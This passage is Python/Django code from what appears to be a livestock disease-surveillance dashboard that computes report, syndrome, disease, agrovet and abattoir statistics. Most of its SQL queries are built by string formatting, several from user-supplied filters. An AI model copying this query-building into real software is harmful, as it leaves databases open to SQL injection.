{}\n        last_week['reports_count'] = self.proccess_submissions_count(submissions)\n        last_week['incidences_count'] = self.proccess_submissions_count(incidences, True)\n        last_week['sub_counties_count'] = len(sub_county)\n        last_week['cdrs_reporting'] = len(cdrs)\n\n        return last_week\n\n    def last_week_sc_reports(self):\n        # get the number of reports received by subcounties in the last week\n        # grouping = '' if group_by_species is False else 'GROUP BY a.sub_county, b.species'\n        with connection.cursor() as cursor:\n            query = \"\"\"\n                SELECT sum(no_cases) as ct, a.sub_county, sum(no_sick) as sick, sum(no_dead) as dead\n                FROM syndromic_incidences as a\n                INNER JOIN syndromic_details as b on b.incidence_id = a.id\n                WHERE EXTRACT(DAY FROM (now() - a.date_created)) < %d\n                GROUP BY a.sub_county\n            \"\"\" % self.period_days\n            cursor.execute(query)\n            # terminal.tprint(query, 'fail')\n            sub_counties = cursor.fetchall()\n\n        cases = {}\n        sick = {}\n        dead = {}\n        for sub_county in sub_counties:\n            if sub_county[1] not in self.sub_counties:\n                continue\n            val = self.proccess_submissions_count([sub_county], True)\n            cases[str(sub_county[1])] = \"{:,}\".format(val)\n            sick[str(sub_county[1])] = \"{:,}\".format(int(sub_county[2]))\n            dead[str(sub_county[1])] = \"{:,}\".format(int(sub_county[3]))\n\n        for sub_county in self.sub_counties:\n            if sub_county not in cases:\n                cases[sub_county] = 0\n            if sub_county not in sick:\n                sick[sub_county] = 0\n            if sub_county not in dead:\n                dead[sub_county] = 0\n\n        return (cases, sick, dead)\n\n    def last_week_sc_reports_by_species(self):\n        # get the number of reports received by subcounties in the last week\n        # grouping = '' if group_by_species is False else 'GROUP BY a.sub_county, b.species'\n        with connection.cursor() as cursor:\n            query = \"\"\"\n                SELECT sum(no_cases) as ct, a.sub_county, sum(no_sick) as sick, sum(no_dead) as dead, b.species\n                FROM syndromic_incidences as a\n                INNER JOIN syndromic_details as b on b.incidence_id = a.id\n                WHERE EXTRACT(DAY FROM (now() - a.date_created)) < %d\n                GROUP BY a.sub_county, b.species\n            \"\"\" % self.period_days\n            cursor.execute(query)\n            # terminal.tprint(query, 'fail')\n            sub_counties = cursor.fetchall()\n\n        all_cases = {}\n        for sub_county in sub_counties:\n            if sub_county[1] not in self.sub_counties:\n                continue\n            val = self.proccess_submissions_count([sub_county], True)\n            sc_name = str(sub_county[1]).capitalize()\n            specie = str(sub_county[4]).capitalize()\n            all_cases[sc_name] = {}\n            all_cases[sc_name][specie] = {}\n            all_cases[sc_name][specie]['cases'] = \"{:,}\".format(math.log(val))\n            sick = math.log(int(sub_county[2])) if int(sub_county[2]) != 0 else 0\n            all_cases[sc_name][specie]['sick'] = \"{:,}\".format(sick)\n            dead = math.log(int(sub_county[3])) if int(sub_county[3]) != 0 else 0\n            all_cases[sc_name][specie]['dead'] = \"{:,}\".format(dead)\n            all_cases[sc_name][specie]['cases_r'] = \"{:,}\".format(val)\n            all_cases[sc_name][specie]['sick_r'] = \"{:,}\".format(int(sub_county[2]))\n            all_cases[sc_name][specie]['dead_r'] = \"{:,}\".format(int(sub_county[3]))\n\n        for sub_county in self.sub_counties:\n            sub_county = sub_county.capitalize()\n            if sub_county not in all_cases:\n                all_cases[sub_county] = {}\n            for specie in self.all_species:\n                specie = specie.capitalize()\n                if specie not in all_cases[sub_county]:\n                    all_cases[sub_county][specie] = {}\n                    for i_type in ['cases', 'sick', 'dead']:\n                        if i_type not in all_cases[sub_county][specie]:\n                            all_cases[sub_county][specie][i_type] = 0\n                    for i_type in ['cases_r', 'sick_r', 'dead_r']:\n                        if i_type not in all_cases[sub_county][specie]:\n                            all_cases[sub_county][specie][i_type] = 0\n\n        return all_cases\n\n    def proccess_submissions_count(self, s_count, use_zero=False):\n        # terminal.tprint(json.dumps(s_count), 'warn')\n\n        to_return = 0\n        if len(s_count) == 0:\n            to_return = 0.001\n        elif s_count[0][0] is None:\n            to_return = 0.001\n        else:\n            to_return = int(s_count[0][0]) if len(s_count) != 0 else 0.001\n\n        if to_return == 0.001:\n            if use_zero is True:\n                to_return = 0\n\n        return to_return\n\n    def get_livestock_incidences(self, specie):\n        with connection.cursor() as cursor:\n            incidences_q = \"\"\"\n                SELECT start_date, sum(no_sick), sum(no_dead)\n                FROM syndromic_details\n                WHERE species = '%s'\n                GROUP BY start_date\n                ORDER by start_date\n            \"\"\" % specie\n            cursor.execute(incidences_q)\n            all_incidences = cursor.fetchall()\n\n        labels = []\n        fatalities = []\n        incidences = []\n\n        for inc in all_incidences:\n            labels.append(str(inc[0]))\n            incidences.append(int(inc[1]))\n            fatalities.append(int(inc[2]))\n\n        return {'labels': labels, 'incidences': incidences, 'fatalities': fatalities}\n\n    def get_syndromes_freq(self, no_days, species=None):\n        if species is not None:\n            species_sub = \" and species in (%s)\" % ', '.join(\"'{0}'\".format(w) for w in species)\n        else:\n            species_sub = ''\n        with connection.cursor() as cursor:\n            syndromes_q = \"\"\"\n                SELECT clinical_signs\n                FROM syndromic_details\n                WHERE EXTRACT(DAY FROM (now() - start_date)) <= %d %s\n            \"\"\" % (no_days, species_sub)\n            cursor.execute(syndromes_q)\n            syndromes = cursor.fetchall()\n\n        all_syndromes = []\n        all_syndromes_freq = {}\n        for synd in syndromes:\n            t_synds = re.findall(\"(\\w+)\", synd[0])\n            for t_synd in t_synds:\n                # all_syndromes.append(self.get_value_from_dictionary(t_synd))\n                t_synd = str(t_synd)\n                if t_synd not in all_syndromes_freq:\n                    all_syndromes_freq[t_synd] = 0\n\n                all_syndromes_freq[t_synd] += 1\n\n        for t_synd, freq in list(all_syndromes_freq.items()):\n            tt_synd = str(self.get_value_from_dictionary(t_synd))\n            all_syndromes.append({'text': tt_synd, 'size': freq * 8})\n\n        # terminal.tprint(json.dumps(all_syndromes), 'warn')\n        return all_syndromes\n\n    def get_diseases_freq(self, no_days, species=None):\n        if species is not None:\n            species_sub = \" and species in (%s)\" % ', '.join(\"'{0}'\".format(w) for w in species)\n        else:\n            species_sub = ''\n        with connection.cursor() as cursor:\n            diseases_q = \"\"\"\n                SELECT prov_diagnosis\n                FROM syndromic_details\n                WHERE EXTRACT(DAY FROM (now() - start_date)) <= %d %s\n            \"\"\" % (no_days, species_sub)\n            cursor.execute(diseases_q)\n            # terminal.tprint(diseases_q, 'warn')\n            diseases = cursor.fetchall()\n\n        all_diseases = []\n        all_diseases_freq = {}\n        for synd in diseases:\n            t_synds = re.findall(\"(\\w+)\", synd[0])\n            for t_synd in t_synds:\n                # all_diseases.append(self.get_value_from_dictionary(t_synd))\n                t_synd = str(t_synd)\n                if t_synd not in all_diseases_freq:\n                    all_diseases_freq[t_synd] = 0\n\n                all_diseases_freq[t_synd] += 1\n\n        for t_synd, freq in list(all_diseases_freq.items()):\n            tt_synd = str(self.get_value_from_dictionary(t_synd))\n            all_diseases.append({'text': tt_synd, 'size': freq * 8})\n\n        # terminal.tprint(json.dumps(all_diseases), 'warn')\n        return all_diseases\n\n    def get_biweekly_report(self):\n        # get the statistics for the biweekly report\n        self.period_days = 14\n        small_ruminant_syndromes = self.get_syndromes_freq(self.period_days, ['goats', 'sheep'])\n        cattle_syndromes = self.get_syndromes_freq(self.period_days, ['cattle'])\n\n        small_ruminant_diseases = self.get_diseases_freq(self.period_days, ['goats', 'sheep'])\n        cattle_diseases = self.get_diseases_freq(self.period_days, ['cattle'])\n\n        # get the overall reports for all the species\n        (cases, sick, dead) = self.last_week_sc_reports()\n        # get the reports grouped by species\n        all_cases = self.last_week_sc_reports_by_species()\n\n        d1 = date(2017, 10, 1)\n        d2 = date.today()\n        monday1 = (d1 - timedelta(days=d1.weekday()))\n        monday2 = (d2 - timedelta(days=d2.weekday()))\n\n        no_biweekly = (monday2 - monday1).days / 14\n        report_no = ordinal(no_biweekly + 1)\n\n        return {\n            'small_ruminant_syndromes': small_ruminant_syndromes,\n            'cattle_syndromes': cattle_syndromes,\n            'small_ruminant_diseases': small_ruminant_diseases,\n            'cattle_diseases': cattle_diseases,\n            'sc': cases,\n            'sick': sick,\n            'dead': dead,\n            'report_no': report_no,\n            'by_species': all_cases,\n            'sub_counties': [county.capitalize() for county in self.sub_counties],\n            'all_species': [specie.capitalize() for specie in self.all_species]\n        }\n\n    def system_stats_v2(self, inputs):\n        all_subcounties = []\n        for sc_code in self.sub_counties:\n            all_subcounties.append({'code': sc_code, 'label': str(self.get_value_from_dictionary(sc_code))})\n\n        all_species = []\n        for sp_code in self.all_species:\n            all_species.append({'code': sp_code, 'label': str(self.get_value_from_dictionary(sp_code))})\n\n        # print inputs.refresh_type\n        if len(inputs) == 0:\n            # print('using defaults')\n            # we don't have anything defined, get the defaults\n            end_date = date.today() + timedelta(days=1)\n            start_date = end_date - timedelta(days=self.period_days)\n            subcounties_search = self.sub_counties\n            species_search = self.all_species\n            period = 'past_6mo'\n        else:\n            # if 'refresh_type' not in inputs or inputs['refresh_type'] is not 'all':\n            # print('get a subset')\n            # get the period we are interested in\n            if 'refresh_type' not in inputs:\n                end_date = date.today()\n                start_date = end_date - timedelta(days=self.r_period)\n                period = 'past_6mo'\n            else:\n                if inputs['refresh_type'] == '':\n                    # compute the selected period\n                    dates = inputs['range'].split(' - ')\n                    if len(dates) != 2:\n                        raise ValueError('The date range must be specified.')\n\n                    # strip the dates and then format them\n                    start_date = datetime.strptime(dates[0], '%m/%d/%Y').strftime('%Y-%m-%d')\n                    end_date = datetime.strptime(dates[1], '%m/%d/%Y').strftime('%Y-%m-%d')\n                    period = 'custom'\n                else:\n                    self.get_r_period(inputs['refresh_type'])\n                    end_date = date.today()\n                    start_date = end_date - timedelta(days=self.period_days)\n                    period = inputs['refresh_type']\n\n            # get the species of interest\n            if len(inputs['species']) == 0:\n                species_search = self.all_species\n            else:\n                species_search = [inputs['species']]\n\n            # get the subcounties of interest\n            if len(inputs['subcounties']) == 0:\n                subcounties_search = self.sub_counties\n            else:\n                subcounties_search = [inputs['subcounties']]\n\n        # add an empty string if we have an array of 1\n        subcounties_search.append('') if len(subcounties_search) == 1 else subcounties_search\n        species_search.append('') if len(species_search) == 1 else species_search\n        # print(subcounties_search)\n        # print(species_search)\n        extra_data = self.dash_stats(start_date, end_date, subcounties_search, species_search)\n\n        to_return = {\n            'sub_counties': all_subcounties,\n            'species': all_species,\n            'sel_range': \"%s - %s\" % (datetime.strptime(str(start_date), '%Y-%m-%d').strftime('%m-%d-%Y'), datetime.strptime(str(end_date), '%Y-%m-%d').strftime('%m-%d-%Y')),\n            'from': datetime.strptime(str(start_date), '%Y-%m-%d').strftime('%m-%d-%Y'),\n            'to': datetime.strptime(str(end_date), '%Y-%m-%d').strftime('%m-%d-%Y'),\n            'period': str(period)\n        }\n        to_return.update(extra_data)\n\n        return to_return\n\n    def dash_stats(self, start_date, end_date, sub_county, species):\n        # print((\"Input params: startdate = %s, enddate = %s, sub_county = %s, species = %s\" % (start_date, end_date, sub_county, species)))\n        with connection.cursor() as cursor:\n            submissions_q = \"\"\"\n                SELECT date(datetime_reported) as r_date, count(*) as ct\n                FROM syndromic_incidences as a INNER JOIN syndromic_details as b on a.id=b.incidence_id\n                WHERE datetime_reported > '%s' AND datetime_reported < '%s' AND a.sub_county IN %s AND b.species IN %s\n                GROUP BY date(datetime_reported)\n            \"\"\" % (str(start_date), str(end_date), tuple(sub_county), tuple(species))\n            # print(submissions_q)\n            cursor.execute(submissions_q)\n            submissions = cursor.fetchall()\n\n            all_submissions_q = \"\"\"\n                SELECT count(*) as ct FROM syndromic_incidences\n            \"\"\"\n            cursor.execute(all_submissions_q)\n            all_submissions = cursor.fetchall()\n            all_submissions_count = int(all_submissions[0][0])\n\n            # submission dates\n            dates_q = \"\"\"\n                SELECT date(datetime_reported) as r_date\n                FROM syndromic_incidences as a\n                WHERE datetime_reported > '%s' AND datetime_reported < '%s' AND a.sub_county IN %s\n                GROUP BY date(datetime_reported) ORDER BY date(datetime_reported)\n            \"\"\" % (str(start_date), str(end_date), tuple(sub_county))\n            # print(dates_q)\n            cursor.execute(dates_q)\n            dates = cursor.fetchall()\n\n            charts_dates = []\n            for s_date in dates:\n                charts_dates.append(str(s_date[0]))\n\n            # get the reported mortalities\n            mortalities_q = \"\"\"\n                SELECT date(datetime_reported) as r_date, count(*) as ct\n                FROM syndromic_incidences as a INNER JOIN syndromic_details as b on a.id=b.incidence_id\n                WHERE datetime_reported > '%s' AND datetime_reported < '%s' AND a.sub_county IN %s AND b.no_dead > 0\n                GROUP BY date(datetime_reported) ORDER BY date(datetime_reported)\n            \"\"\" % (str(start_date), str(end_date), tuple(sub_county))\n            # print(mortalities_q)\n            cursor.execute(mortalities_q)\n            mortalities = cursor.fetchall()\n\n            all_mortalities = []\n            total_mortalities = 0\n            cur_date_index = 0\n            for mort in mortalities:\n                if str(mort[0]) != str(charts_dates[cur_date_index]):\n                    while str(mort[0]) != str(charts_dates[cur_date_index]):\n                        all_mortalities.append([charts_dates[cur_date_index], 0])\n                        cur_date_index = cur_date_index + 1\n\n                all_mortalities.append([str(mort[0]), int(mort[1])])\n                total_mortalities = total_mortalities + int(mort[1])\n                cur_date_index = cur_date_index + 1\n\n            # zero reports\n            zero_reports_q = \"\"\"\n                SELECT date(datetime_reported) as r_date, count(*) as ct\n                FROM syndromic_incidences as a\n                WHERE datetime_reported > '%s' AND datetime_reported < '%s' AND a.sub_county IN %s AND no_cases = 0\n                GROUP BY date(datetime_reported) ORDER BY date(datetime_reported)\n            \"\"\" % (str(start_date), str(end_date), tuple(sub_county))\n            # print(zero_reports_q)\n            cursor.execute(zero_reports_q)\n            zero_reports = cursor.fetchall()\n\n            all_zero_reports = []\n            total_zeroreports = 0\n            cur_date_index = 0\n            for zr in zero_reports:\n                if str(zr[0]) != str(charts_dates[cur_date_index]):\n                    while str(zr[0]) != str(charts_dates[cur_date_index]):\n                        all_zero_reports.append([charts_dates[cur_date_index], 0])\n                        cur_date_index = cur_date_index + 1\n\n                all_zero_reports.append([str(zr[0]), int(zr[1])])\n                total_zeroreports = total_zeroreports + int(zr[1])\n                cur_date_index = cur_date_index + 1\n\n            # submissions\n            submissions_q = \"\"\"\n                SELECT date(datetime_reported) as r_date, count(*) as ct\n                FROM syndromic_incidences as a INNER JOIN syndromic_details as b on a.id=b.incidence_id\n                WHERE datetime_reported > '%s' AND datetime_reported < '%s' AND a.sub_county IN %s\n                GROUP BY date(datetime_reported) ORDER BY date(datetime_reported)\n            \"\"\" % (str(start_date), str(end_date), tuple(sub_county))\n            # print(submissions_q)\n            cursor.execute(submissions_q)\n            submissions = cursor.fetchall()\n\n            all_submissions = []\n            total_submissions = 0\n            cur_date_index = 0\n            for subm in submissions:\n                if str(subm[0]) != str(charts_dates[cur_date_index]):\n                    while str(subm[0]) != str(charts_dates[cur_date_index]):\n                        all_submissions.append([charts_dates[cur_date_index], 0])\n                        cur_date_index = cur_date_index + 1\n\n                all_submissions.append([str(subm[0]), int(subm[1])])\n                total_submissions = total_submissions + int(subm[1])\n                cur_date_index = cur_date_index + 1\n\n            # reported syndromes\n            reported_syndromes = self.get_syndromes_freq_v2(start_date, end_date, species, sub_county)\n\n            # sub counties reorting\n            subcounties_reporting_q = \"\"\"\n                SELECT count(*) as ct, sub_county\n                FROM syndromic_incidences\n                WHERE datetime_reported > '%s' AND datetime_reported < '%s' AND sub_county IN %s\n                GROUP BY sub_county ORDER BY ct\n            \"\"\" % (str(start_date), str(end_date), tuple(sub_county))\n            cursor.execute(subcounties_reporting_q)\n            subcounties_reporting = cursor.fetchall()\n\n            total_reports = 0\n            sub_county_reports = {'max': 0, 'min': 9999999, 'data': []}\n            # my_scs = self.sub_counties\n            for rec in subcounties_reporting:\n                total_reports = total_reports + rec[0]\n                sub_county_reports['data'].append({'feature_id': rec[1], 'value': rec[0], 'name': str(self.get_value_from_dictionary(rec[1]))})\n                sub_county_reports['max'] = rec[0] if rec[0] > sub_county_reports['max'] else sub_county_reports['max']\n                sub_county_reports['min'] = rec[0] if rec[0] < sub_county_reports['min'] else sub_county_reports['min']\n                # my_scs.remove(rec[1])\n\n            # add the missing subcounties\n            my_scs = []\n            for sc in my_scs:\n                sub_county_reports['data'].append({'feature_id': sc, 'value': 0, 'name': str(self.get_value_from_dictionary(sc))})\n            # reports\n            reports_q = \"\"\"\n                SELECT date(datetime_reported) as r_date, sub_county, ward, syndrome, species, no_sick, no_dead, prov_diagnosis, latitude, longitude\n                FROM syndromic_incidences as a INNER JOIN syndromic_details as b on a.id=b.incidence_id\n                WHERE datetime_reported > '%s' AND datetime_reported < '%s' AND sub_county IN %s AND species IN %s\n                ORDER BY datetime_reported DESC\n            \"\"\" % (str(start_date), str(end_date), tuple(sub_county), tuple(species))\n            cursor.execute(reports_q)\n            reports = cursor.fetchall()\n\n            all_reports = []\n            for rep in reports:\n                all_reports.append({\n                    'r_date': str(rep[0]),\n                    'sub_county': str(self.get_value_from_dictionary(rep[1])),\n                    'ward': str(self.get_value_from_dictionary(rep[2])),\n                    'syndrome': str(self.get_value_from_dictionary(rep[3])),\n                    'species': str(self.get_value_from_dictionary(rep[4])),\n                    'no_sick': int(rep[5]),\n                    'no_dead': int(rep[6]),\n                    'prov_diagnosis': str(rep[7]),\n                    'lat': str(rep[8]),\n                    'long': str(rep[9])\n                })\n\n            no_subcounties_reporting = len(subcounties_reporting)\n            if no_subcounties_reporting == 0:\n                least_active_subcounty = 'NA'\n                most_active_subcounty = 'NA'\n                least_active_subcounty_records = 0\n                most_active_subcounty_records = 0\n                average_no_reports = 0\n            else:\n                least_active_subcounty = str(self.get_value_from_dictionary(subcounties_reporting[0][1]))\n                most_active_subcounty = str(self.get_value_from_dictionary(subcounties_reporting[no_subcounties_reporting - 1][1]))\n                least_active_subcounty_records = subcounties_reporting[0][0]\n                most_active_subcounty_records = subcounties_reporting[no_subcounties_reporting - 1][0]\n                average_no_reports = \"{0:0.1f}\".format(float(total_reports) / float(no_subcounties_reporting))\n\n            # wards reorting\n            wards_reporting_q = \"\"\"\n                SELECT count(*) as ct, ward\n                FROM syndromic_incidences\n                WHERE datetime_reported > '%s' AND datetime_reported < '%s' AND sub_county IN %s\n                GROUP BY ward ORDER BY ct\n            \"\"\" % (str(start_date), str(end_date), tuple(sub_county))\n            cursor.execute(wards_reporting_q)\n            wards_reporting = cursor.fetchall()\n\n            no_wards_reporting = len(wards_reporting)\n            ward_reports = 0\n            ward_min = 999999\n            ward_max = -1\n            for rec in wards_reporting:\n                ward_reports = ward_reports + rec[0]\n                if rec[0] > ward_max:\n                    ward_max = rec[0]\n                if rec[0] < ward_min:\n                    ward_min = rec[0]\n\n            if no_wards_reporting == 0:\n                average_ward_no_reports = 0\n            else:\n                average_ward_no_reports = \"{0:0.1f}\".format(float(ward_reports) / float(no_wards_reporting))\n\n            # cdrs reorting\n            cdrs_reporting_q = \"\"\"\n                SELECT count(*) as ct, reporter\n                FROM syndromic_incidences\n                WHERE datetime_reported > '%s' AND datetime_reported < '%s' AND sub_county IN %s\n                GROUP BY reporter ORDER BY ct\n            \"\"\" % (str(start_date), str(end_date), tuple(sub_county))\n            cursor.execute(cdrs_reporting_q)\n            cdrs_reporting = cursor.fetchall()\n\n            no_cdr_reporting = len(cdrs_reporting)\n            cdr_reports = 0\n            for rec in cdrs_reporting:\n                cdr_reports = cdr_reports + rec[0]\n\n            if no_cdr_reporting == 0:\n                average_cdr_reports = 0\n            else:\n                average_cdr_reports = \"{0:0.1f}\".format(float(cdr_reports) / float(no_cdr_reporting))\n\n        total_incidences = total_submissions - total_zeroreports\n        to_return = {\n            'all_mortalities': all_mortalities,\n            'all_zero_reports': all_zero_reports,\n            'all_submissions': all_submissions,\n            'total_submissions': total_submissions,\n            'total_zeroreports': total_zeroreports,\n            'total_mortalities': total_mortalities,\n            'total_incidences': total_incidences,\n            'reported_syndromes': reported_syndromes,\n            'perc_submissions': '0' if total_submissions == 0 or all_submissions_count == 0 else \"{0:0.1f}\".format(((float(total_submissions) / float(all_submissions_count))) * 100),\n            'perc_zeroreports': '0' if total_zeroreports == 0 or total_submissions == 0 else \"{0:0.1f}\".format(((float(total_zeroreports) / float(total_submissions))) * 100),\n            'perc_incidences': '0' if total_incidences == 0 or total_submissions == 0 else \"{0:0.1f}\".format(((float(total_incidences) / float(total_submissions))) * 100),\n            'perc_mortalities': '0' if total_mortalities == 0 or total_submissions == 0 else \"{0:0.1f}\".format(((float(total_mortalities) / float(total_submissions))) * 100),\n            'subcounties_reporting': no_subcounties_reporting,\n            'least_active_subcounty': least_active_subcounty,\n            'most_active_subcounty': most_active_subcounty,\n            'most_active_subcounty_records': int(most_active_subcounty_records),\n            'least_active_subcounty_records': int(least_active_subcounty_records),\n            'average_no_reports': average_no_reports,\n            'average_ward_no_reports': average_ward_no_reports,\n            'no_wards_reporting': no_wards_reporting,\n            'no_cdr_reporting': no_cdr_reporting,\n            'cdr_reports': int(cdr_reports),\n            'average_cdr_reports': average_cdr_reports,\n            'all_reports': all_reports,\n            'charts_dates': charts_dates,\n            'sub_county_reports': sub_county_reports\n        }\n        return to_return\n\n    def get_syndromes_freq_v2(self, start_date, end_date, species=None, sub_counties=None):\n        with connection.cursor() as cursor:\n            syndromes_q = \"\"\"\n                SELECT b.clinical_signs\n                FROM syndromic_incidences as a INNER JOIN syndromic_details as b on a.id=b.incidence_id\n                WHERE datetime_reported > '%s' AND datetime_reported < '%s' AND a.sub_county IN %s AND species IN %s\n            \"\"\" % (str(start_date), str(end_date), tuple(sub_counties), tuple(species))\n            cursor.execute(syndromes_q)\n            syndromes = cursor.fetchall()\n\n        all_syndromes = []\n        all_syndromes_freq = {}\n        for synd in syndromes:\n            t_synds = re.findall(\"(\\w+)\", synd[0])\n            for t_synd in t_synds:\n                # all_syndromes.append(self.get_value_from_dictionary(t_synd))\n                t_synd = str(t_synd)\n                if t_synd not in all_syndromes_freq:\n                    all_syndromes_freq[t_synd] = 0\n\n                all_syndromes_freq[t_synd] += 1\n\n        for t_synd, freq in list(all_syndromes_freq.items()):\n            tt_synd = str(self.get_value_from_dictionary(t_synd))\n            all_syndromes.append({'text': tt_synd, 'size': freq * 8})\n\n        # terminal.tprint(json.dumps(all_syndromes), 'warn')\n        return all_syndromes\n\n    def generate_nd_system_stats(self, inputs):\n        \"\"\"\n        Generate the statistics to be used for the notifiable disease dashboard\n        \"\"\"\n        # disease frequency\n        nd_reporting_q = \"\"\"\n            SELECT date(date_trunc('week', nd_date_reported::date)) as weekly, disease, count(*)\n            FROM nd_details as a INNER JOIN nd_reports as b on a.nd_report_id=b.id WHERE disease != 'unknown'\n            GROUP BY weekly, disease\n            ORDER BY weekly, disease\n        \"\"\"\n        # when filtering use this criteria\n        #  % (str(start_date), str(end_date), tuple(sub_county))\n        # all reports\n        nd_all_reports_q = \"\"\"\n            SELECT date(nd_date_reported), sub_county, ward, village, latitude, longitude, accuracy, nd_date_started, nd_date_reported, disease, species, diagnosis_type, production_system, is_zoonotic, no_risk, no_sick, no_dead, no_slaughtered, measure_taken, no_vaccinated, org_survey\n            FROM nd_details as a INNER JOIN nd_reports as b on a.nd_report_id=b.id\n            ORDER BY nd_date_reported DESC\n        \"\"\"\n\n        #  % (str(start_date), str(end_date), tuple(sub_county), tuple(species))\n\n        with connection.cursor() as cursor:\n            cursor.execute(nd_reporting_q)\n            nd_reporting = cursor.fetchall()\n\n            cursor.execute(nd_all_reports_q)\n            reports = cursor.fetchall()\n\n        all_reports = []\n        for rep in reports:\n            all_reports.append({\n                'upload_date': str(rep[0]),\n                'sub_county': str(rep[1]),\n                'ward': str(rep[2]),\n                'village': str(rep[3]),\n                'latitude': str(rep[4]),\n                'longitude': str(rep[5]),\n                'accuracy': str(rep[6]),\n                'start_date': str(rep[7]),\n                'report_date': str(rep[8]),\n                'disease': str(rep[9]),\n                'species': str(rep[10]),\n                'type_diagnosis': self.get_value_from_dictionary(rep[11]),\n                'prod_system': self.get_value_from_dictionary(rep[12]),\n                'is_zoonotic': str(rep[13]),\n                'no_risk': int(rep[14]),\n                'no_sick': int(rep[15]),\n                'no_dead': int(rep[16]),\n                'no_slaughtered': int(rep[17]),\n                'measures': self.get_value_from_dictionary(rep[18]),\n                'no_vaccinated': 'N/A' if rep[19] is None else int(rep[19]),\n                'org': self.get_value_from_dictionary(rep[20]),\n            })\n\n        nd_count = len(nd_reporting)\n        (dis_series, dis_categories) = self.generate_highcharts_series(nd_reporting)\n\n        if nd_count == 0:\n            r_from = 'N/A'\n            r_to = 'N/A'\n        elif nd_count == 1:\n            r_from = str(nd_reporting[0][0])\n            r_to = str(nd_reporting[0][0])\n        else:\n            r_from = str(nd_reporting[0][0])\n            r_to = str(nd_reporting[nd_count - 1][0])\n\n        to_return = {\n            'from': r_from,\n            'to': r_to,\n            'sel_range': \"%s - %s\" % (r_from, r_to),\n            'dis_series': dis_series,\n            'dis_categories': dis_categories,\n            'all_reports': all_reports\n        }\n\n        return to_return\n\n    def generate_agrovet_system_stats(self, inputs):\n        # disease frequency\n        ag_reporting_q = \"\"\"\n            SELECT date(date_trunc('week', report_date)) as weekly, drug_sold, count(*)\n            FROM ag_detail as a INNER JOIN ag_reports as b on a.ag_report_id=b.id\n            GROUP BY weekly, drug_sold\n            ORDER BY weekly, drug_sold\n        \"\"\"\n        # when filtering use this criteria\n        #  % (str(start_date), str(end_date), tuple(sub_county))\n        # all reports\n        ag_all_reports_q = \"\"\"\n            SELECT date(datetime_uploaded), date(report_date), agrovet_name, outlet_name, latitude, longitude, accuracy, syndrome, syndrome_start_date, drug_sold, drug_quantity, farmer_location\n            FROM ag_detail as a INNER JOIN ag_reports as b on a.ag_report_id=b.id\n            ORDER BY report_date DESC\n        \"\"\"\n\n        #  % (str(start_date), str(end_date), tuple(sub_county), tuple(species))\n\n        # print(ag_reporting_q)\n        # print(ag_all_reports_q)\n\n        with connection.cursor() as cursor:\n            cursor.execute(ag_reporting_q)\n            ag_reporting = cursor.fetchall()\n\n            cursor.execute(ag_all_reports_q)\n            reports = cursor.fetchall()\n\n        all_reports = []\n        for rep in reports:\n            all_reports.append({\n                'upload_date': str(rep[0]),\n                'report_date': str(rep[1]),\n                'agrovet_name': str(rep[2]),\n                'outlet_name': str(rep[3]),\n                'latitude': str(rep[4]),\n                'longitude': str(rep[5]),\n                'accuracy': str(rep[6]),\n                'syndrome': str(rep[7]),\n                'syndrome_start_date': str(rep[8]),\n                'drug_sold': self.get_value_from_dictionary(rep[9]),\n                'drug_quantity': str(rep[10]),\n                'farmer_location': str(rep[11]),\n            })\n\n        ag_count = len(ag_reporting)\n        (ag_series, ag_categories) = self.generate_highcharts_series(ag_reporting)\n\n        if ag_count == 0:\n            r_from = 'N/A'\n            r_to = 'N/A'\n        elif ag_count == 1:\n            r_from = str(ag_reporting[0][0])\n            r_to = str(ag_reporting[0][0])\n        else:\n            r_from = str(ag_reporting[0][0])\n            r_to = str(ag_reporting[ag_count - 1][0])\n        to_return = {\n            'from': r_from,\n            'to': r_to,\n            'sel_range': \"%s - %s\" % (r_from, r_to),\n            'ag_series': ag_series,\n            'ag_categories': ag_categories,\n            'all_reports': all_reports\n        }\n\n        return to_return\n\n    def generate_abattoir_system_stats(self, inputs):\n        # disease frequency\n        sh_reporting_q = \"\"\"\n            SELECT date(date_trunc('week', report_date)) as weekly, lesions, count(*)\n            FROM sh_reports as a\n            INNER JOIN sh_species as b on a.id=b.sh_report_id\n            INNER JOIN sh_body_parts as c on b.id=c.sh_specie_id\n            GROUP BY weekly, lesions ORDER BY weekly, lesions;\n        \"\"\"\n        # when filtering use this criteria\n        #  % (str(start_date), str(end_date), tuple(sub_county))\n        # all reports\n        sh_all_reports_q = \"\"\"\n            SELECT date(report_date), abattoir, animal_source, latitude, longitude, accuracy, specie, no_slaughtered, b.no_condemned, body_part, lesions, c.no_condemned, sample_collected\n            FROM sh_reports as a\n            INNER JOIN sh_species as b on a.id=b.sh_report_id\n            INNER JOIN sh_body_parts as c on b.id=c.sh_specie_id\n            ORDER BY report_date DESC\n        \"\"\"\n\n        #  % (str(start_date), str(end_date), tuple(sub_county), tuple(species))\n\n        with connection.cursor() as cursor:\n            cursor.execute(sh_reporting_q)\n            sh_reporting = cursor.fetchall()\n\n            cursor.execute(sh_all_reports_q)\n            reports = cursor.fetchall()\n\n        all_reports = []\n        for rep in reports:\n            all_reports.append({\n                'report_date': str(rep[0]),\n                'abattoir': str(rep[1]),\n                'animal_source': str(rep[2]),\n                'latitude': str(rep[3]),\n                'longitude': str(rep[4]),\n                'accuracy': str(rep[5]),\n                'specie': str(rep[6]),\n                'no_slaughtered': int(rep[7]),\n                'carcas_no_condemned': int(rep[8]),\n                'body_part': str(rep[9]),\n                'lesions': str(rep[10]),\n                'part_no_condemned': int(rep[11]),\n                'sample_collected': str(rep[12]),\n            })\n\n        sh_count = len(sh_reporting)\n        (sh_series, sh_categories) = self.generate_highcharts_series(sh_reporting)\n\n        if sh_count == 0:\n            r_from = 'N/A'\n            r_to = 'N/A'\n        elif sh_count == 1:\n            r_from = str(sh_reporting[0][0])\n            r_to = str(sh_reporting[0][0])\n        else:\n            r_from = str(sh_reporting[0][0])\n            r_to = str(sh_reporting[sh_count - 1][0])\n\n        to_return = {\n            'from': r_from,\n            'to': r_to,\n            'sel_range': \"%s - %s\" % (r_from, r_to),\n            'sh_series': sh_series,\n            'sh_categories': sh_categories,\n            'all_reports': all_reports\n        }\n\n        return to_return\n\n    def generate_highcharts_series(self, data):\n        \"\"\"\n        Given a set of data like:\n           weekly   |     disease     | count\n        ------------+-----------------+-------\n         2015-08-24 | ENTERITIS       |     1\n         2018-08-20 | HEARTWATER      |     1\n         2018-08-27 | HELMINTHIASIS   |     2\n         2018-08-27 | LSD             |     1\n         2018-08-27 | SKIN INFECTION  |     3\n         2018-09-03 | COCCIDIOSIS     |     2\n\n        Where:\n            1st column is dates\n            2nd column contains metrics to 